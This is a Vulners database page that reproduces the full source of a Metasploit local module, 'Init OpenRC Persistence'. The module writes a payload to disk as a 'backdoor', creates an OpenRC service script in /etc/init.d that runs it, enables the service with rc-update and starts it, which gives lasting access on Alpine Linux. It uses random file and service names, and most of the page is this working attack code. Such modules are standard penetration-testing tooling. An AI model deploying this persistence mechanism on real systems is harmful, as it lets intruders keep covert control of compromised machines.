Lucene search
K

Init OpenRC Persistence

🗓️ 16 Sep 2025 18:53:36Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 535 Views

Creates an OpenRC persistence service with auto-restart on Alpine Linux 3.21.2; requires access to write service files.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/service_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Init OpenRC Persistence',
        'Description' => %q{
          This module will create a service on the box via OpenRC, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services.
          Verified against alpine 3.21.2
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
          ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'],
          ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'],
          ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'],
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '2007-04-05' # openrc release date
      )
    )

    register_options(
      [
        OptString.new('SERVICE', [false, 'Name of service to create']),
        OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
      ]
    )
    register_advanced_options(
      [
        OptBool.new('EnableService', [true, 'Enable the service', true])
      ]
    )
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/')
    return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')

    return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc')

    CheckCode::Appears("#{writable_dir} is writable and system is openrc based")
  end

  def install_persistence
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    backdoor = write_shell(writable_dir)

    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]

    openrc(path, file)
  end

  def write_shell(path)
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")

    if payload.arch.first == 'cmd'
      write_file(backdoor, payload.encoded)
      chmod(backdoor, 0o755)
    else
      upload_and_chmodx(backdoor, generate_payload_exe)
    end

    @clean_up_rc << "rm #{backdoor}\n"

    fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)
    backdoor
  end

  def openrc(backdoor_path, backdoor_file)
    if payload.arch.first == 'cmd'
      script = %(#!/sbin/openrc-run
name=#{backdoor_file}
command=/bin/sh
command_args="#{backdoor_path}/#{backdoor_file}"
pidfile="/run/${RC_SVCNAME}.pid"
command_background="yes"
)
    else
      script = %(#!/sbin/openrc-run
name=#{backdoor_file}
command="#{backdoor_path}/#{backdoor_file}"
command_args=""
pidfile="/run/${RC_SVCNAME}.pid"
command_background="yes"
)
    end

    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
    service_path = "/etc/init.d/#{service_filename}"
    vprint_status("Writing service: #{service_path}")
    begin
      upload_and_chmodx(service_path, script)
      @clean_up_rc << "rm #{service_path}\n"
    rescue Rex::Post::Meterpreter::RequestError
      print_error("Writing '#{service_path}' to the target and or changing the file permissions failed")
    end

    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path)

    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("rc-update add '#{service_filename}'")
      @clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\""
    end

    print_good('Starting service')
    cmd_exec("'#{service_path}' start")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2026 19:02Current
5.8Medium risk
Vulners AI Score5.8
535